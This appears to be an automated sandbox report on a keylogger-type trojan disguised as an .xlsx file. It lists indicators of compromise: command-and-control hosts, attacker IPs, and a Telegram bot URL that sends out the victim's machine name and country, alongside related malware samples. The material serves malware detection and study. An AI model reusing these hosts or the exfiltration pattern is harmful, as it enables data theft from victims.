Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
DC74433Y7889021.xlsx.exe	100%	Avira	HEUR/AGEN.1309271
DC74433Y7889021.xlsx.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.apache.org/licenses/LICENSE-2.0	0%	URL Reputation	safe
http://www.fontbureau.com	0%	URL Reputation	safe
http://www.fontbureau.com/designersG	0%	URL Reputation	safe
http://www.fontbureau.com/designers/?	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.fontbureau.com/designers?	0%	URL Reputation	safe
https://www.office.com/	0%	Avira URL Cloud	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.fontbureau.com/designers	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/8.46.123.33	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.fontbureau.com/designers/cabarga.htmlN	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
https://api.telegram.org/bot	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.fontbureau.com/designers/frere-user.html	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.fontbureau.com/designers8	0%	URL Reputation	safe
http://www.fonts.com	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe
https://chrome.google.com/webstore?hl=en	0%	Avira URL Cloud	safe
http://varders.kozow.com:8081	0%	Avira URL Cloud	safe
http://51.38.247.67:8081/_send_.php?L	0%	Avira URL Cloud	safe
http://anotherarmy.dns.army:8081	100%	Avira URL Cloud	malware
http://aborters.duckdns.org:8081	100%	Avira URL Cloud	malware
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	188.114.97.3	true	true	unknown
s4.serv00.com	213.189.52.181	true	true	unknown
api.telegram.org	149.154.167.220	true	true	unknown
checkip.dyndns.com	193.122.130.0	true	false	unknown
checkip.dyndns.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:562258%0D%0ADate%20and%20Time:%2017/07/2024%20/%2019:03:11%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20562258%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		unknown
https://reallyfreegeoip.org/xml/8.46.123.33	false	URL Reputation: safe	unknown
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.office.com/	DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com	DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designersG	DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/?	DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/bThe	DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot	DC74433Y7889021.xlsx.exe, 00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024DF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers?	DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.tiro.com	DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.000000000355E000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.00000000036B4000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.0000000003702000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.0000000003585000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.0000000003510000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.000000000355E000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.00000000036B4000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.0000000003702000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.0000000003585000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.0000000003510000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.goodfont.co.kr	DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore?hl=en	DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://varders.kozow.com:8081	DC74433Y7889021.xlsx.exe, 00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.coml	DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.com	DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://aborters.duckdns.org:8081	DC74433Y7889021.xlsx.exe, 00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.typography.netD	DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn	DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://51.38.247.67:8081/_send_.php?L	DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anotherarmy.dns.army:8081	DC74433Y7889021.xlsx.exe, 00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.00000000034EB000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.0000000003560000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.0000000003518000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.00000000036BC000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.000000000368F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org/q	DC74433Y7889021.xlsx.exe, 00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/	DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fonts.com	DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sandoll.co.kr	DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.00000000034EB000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.0000000003560000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.0000000003518000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.00000000036BC000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4133896624.000000000368F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sakkal.com	DC74433Y7889021.xlsx.exe, 00000000.00000002.1688812814.00000000072B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	DC74433Y7889021.xlsx.exe, 00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/	DC74433Y7889021.xlsx.exe, 00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.0000000002480000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
188.114.97.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
193.122.130.0	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
213.189.52.181	s4.serv00.com	Poland	57367	ECO-ATMAN-PLECO-ATMAN-PL	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1474973
Start date and time:	2024-07-17 14:16:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	DC74433Y7889021.xlsx.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/1@4/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 110 Number of non-executed functions: 19
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: DC74433Y7889021.xlsx.exe

Simulations

Behavior and APIs

Time	Type	Description
08:17:00	API Interceptor	5612498x Sleep call for process: DC74433Y7889021.xlsx.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	172120861797cb5313eab8cb4c994d23e3cb7a93b70368549aa2aed0ee600798a18aef00cd503.dat-decoded.exe	Get hash	malicious	Snake Keylogger	Browse
	EHOsLAUB7J.rtf	Get hash	malicious	Snake Keylogger	Browse
	PO026037.docx.doc	Get hash	malicious	Snake Keylogger	Browse
	QUOTATION.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Ekpb7jn7mf.exe	Get hash	malicious	RedLine, XWorm	Browse
	Revised PI_2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	rVesselSchedule.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	bodrum_buro.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Proforma fatura.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	New order 01.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
188.114.97.3	Quotation.xls	Get hash	malicious	Remcos	Browse	gurl.pro/fycglx
	New Order.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.coinwab.com/efdt/
	PO026037.docx.doc	Get hash	malicious	Snake Keylogger	Browse	gurl.pro/
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.29500.322.rtf	Get hash	malicious	Lokibot	Browse	rocheholding.top/rudolph/five/fre.php
	Ykyu6uvfyD.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	193046cm.nyashka.top/externaleternal_pollpacketLongpollapitestUploads.php
	am.exe	Get hash	malicious	Amadey	Browse	downloaddining2.com/h9fmdW6/index.php
	Purchase Order -JJ023639PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/0I42Eqo4/download
	NAtK3GR95V.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	949542cm.nyashka.top/externaldefaultprivate.php
	BL.exe	Get hash	malicious	FormBook	Browse	www.coinwab.com/efdt/
	http://d705v.crent365.com	Get hash	malicious	Unknown	Browse	d705v.crent365.com/
193.122.130.0	PO026037.docx.doc	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	z92PurchaseOrderNo_0072024_pdf.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	rVesselSchedule.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	855d156285ccf04888dae255256e42682756098471514f6155c7a5ef8556a95f.zip	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Win64.PWSX-gen.3492.24691.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Shipping Docs PO#QSB-8927393_2324, QSB-8927394_23-24.xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	1e2e668213a67dba5e1a30cd974a8a80a9623137fd1abdbf8a18770f25ad1172_dump.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	DOCUMENT_10-07-2024.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	c3cddff3ce93f42d93f3134e6c55eec6f0e75f25256ed91b5d8a6e90cecaf8cc_dump.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Trojan.AutoIt.1161.27360.18045.exe	Get hash	malicious	VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	172120861797cb5313eab8cb4c994d23e3cb7a93b70368549aa2aed0ee600798a18aef00cd503.dat-decoded.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	EHOsLAUB7J.rtf	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	DS0987656789000JHG.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.96.3
	Project Inquiry & Drawings .exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.96.3
	PO026037.docx.doc	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	#U8acb#U6c42#U66f8.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	QUOTATION.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Revised PI_2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.67.152
	SecuriteInfo.com.W32.MSIL_Kryptik.IUH.gen.Eldorado.32665.13080.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.96.3
	z92PurchaseOrderNo_0072024_pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
checkip.dyndns.com	172120861797cb5313eab8cb4c994d23e3cb7a93b70368549aa2aed0ee600798a18aef00cd503.dat-decoded.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	EHOsLAUB7J.rtf	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	DS0987656789000JHG.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	132.226.247.73
	Project Inquiry & Drawings .exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	193.122.6.168
	Comprobante de pago_978989689..exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	132.226.247.73
	PO026037.docx.doc	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	#U8acb#U6c42#U66f8.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	132.226.8.169
	QUOTATION.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	Revised PI_2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	SecuriteInfo.com.W32.MSIL_Kryptik.IUH.gen.Eldorado.32665.13080.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	158.101.44.242
s4.serv00.com	PRE ALERT Docs_PONBOM01577.xlsx.exe	Get hash	malicious	AgentTesla	Browse	213.189.52.181
s4.serv00.com	Ship Docs YINGHAI-MANE PO 240786.xlsx.exe	Get hash	malicious	AgentTesla	Browse	213.189.52.181
api.telegram.org	172120861797cb5313eab8cb4c994d23e3cb7a93b70368549aa2aed0ee600798a18aef00cd503.dat-decoded.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	EHOsLAUB7J.rtf	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	PO026037.docx.doc	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	QUOTATION.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Ekpb7jn7mf.exe	Get hash	malicious	RedLine, XWorm	Browse	149.154.167.220
	Revised PI_2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	rVesselSchedule.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	bodrum_buro.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Proforma fatura.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	New order 01.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	172120861797cb5313eab8cb4c994d23e3cb7a93b70368549aa2aed0ee600798a18aef00cd503.dat-decoded.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	file.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	v993SRbY3C.exe	Get hash	malicious	RedLine	Browse	149.154.167.99
	ynZemxI36h.exe	Get hash	malicious	RedLine	Browse	149.154.167.99
	rqdYnT5Mf1.exe	Get hash	malicious	RedLine	Browse	149.154.167.99
	UwC67bObmD.exe	Get hash	malicious	RedLine	Browse	149.154.167.99
	6a27NdesoV.exe	Get hash	malicious	RedLine	Browse	149.154.167.99
	x9H6bdbO7l.exe	Get hash	malicious	RedLine	Browse	149.154.167.99
	A9bmuy3JZX.exe	Get hash	malicious	RedLine	Browse	149.154.167.99
	8hgsOdkeUa.exe	Get hash	malicious	RedLine	Browse	149.154.167.99
CLOUDFLARENETUS	test1.vbs	Get hash	malicious	Unknown	Browse	104.20.56.117
	document.vbs	Get hash	malicious	Unknown	Browse	104.20.56.117
	attachment (3).eml	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	Quotation.xls	Get hash	malicious	Remcos	Browse	188.114.97.3
	https://ap3x.adj.st/?adjust_t=q604b4&adjust_deeplink=mrdfood://&adjust_engagement_type=fallback_click&adjust_fallback=https://2d840152.dsihjdskihsdjkisdhjsdkhhjbsd2o0289uij.pages.dev/#?email=bGN1c2hpbmdAc2F2YXJpYS5jb20=	Get hash	malicious	Unknown	Browse	104.17.2.184
	botx.mpsl.elf	Get hash	malicious	Mirai	Browse	104.18.34.214
	de15f973-51dc-4d3c-9fe0-6b94dd765028.eml	Get hash	malicious	Unknown	Browse	172.67.189.23
	botx.x86.elf	Get hash	malicious	Mirai	Browse	104.18.212.112
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, LummaC Stealer	Browse	188.114.96.3
	Pour votre information (216Ko).msg	Get hash	malicious	Unknown	Browse	104.18.142.119
ORACLE-BMC-31898US	EHOsLAUB7J.rtf	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Project Inquiry & Drawings .exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	193.122.6.168
	PO026037.docx.doc	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	5CxmQXL0LD.exe	Get hash	malicious	SystemBC	Browse	193.122.193.58
	QUOTATION.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	SecuriteInfo.com.W32.MSIL_Kryptik.IUH.gen.Eldorado.32665.13080.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	158.101.44.242
	z92PurchaseOrderNo_0072024_pdf.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	z65PurchaseOrderNo_0072024_pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	rVesselSchedule.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	bodrum_buro.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
ECO-ATMAN-PLECO-ATMAN-PL	https://skposta.serv00.net/	Get hash	malicious	Unknown	Browse	128.204.223.100
	PRE ALERT Docs_PONBOM01577.xlsx.exe	Get hash	malicious	AgentTesla	Browse	213.189.52.181
	BOQ_Algeemi_SharePoint_Tender_3768889756.xksx.exe	Get hash	malicious	AgentTesla	Browse	91.185.189.19
	http://10f4cf3.wcomhost.com/	Get hash	malicious	Unknown	Browse	85.194.241.205
	Ship Docs YINGHAI-MANE PO 240786.xlsx.exe	Get hash	malicious	AgentTesla	Browse	213.189.52.181
	BOQ_Algeemi_SharePoint_Tender.xlsx.exe	Get hash	malicious	AgentTesla	Browse	91.185.189.19
	OriginalMessage.txt.msg	Get hash	malicious	HTMLPhisher	Browse	31.186.83.254
	Invoice_23257538_PDF.wsf	Get hash	malicious	GuLoader	Browse	31.186.83.248
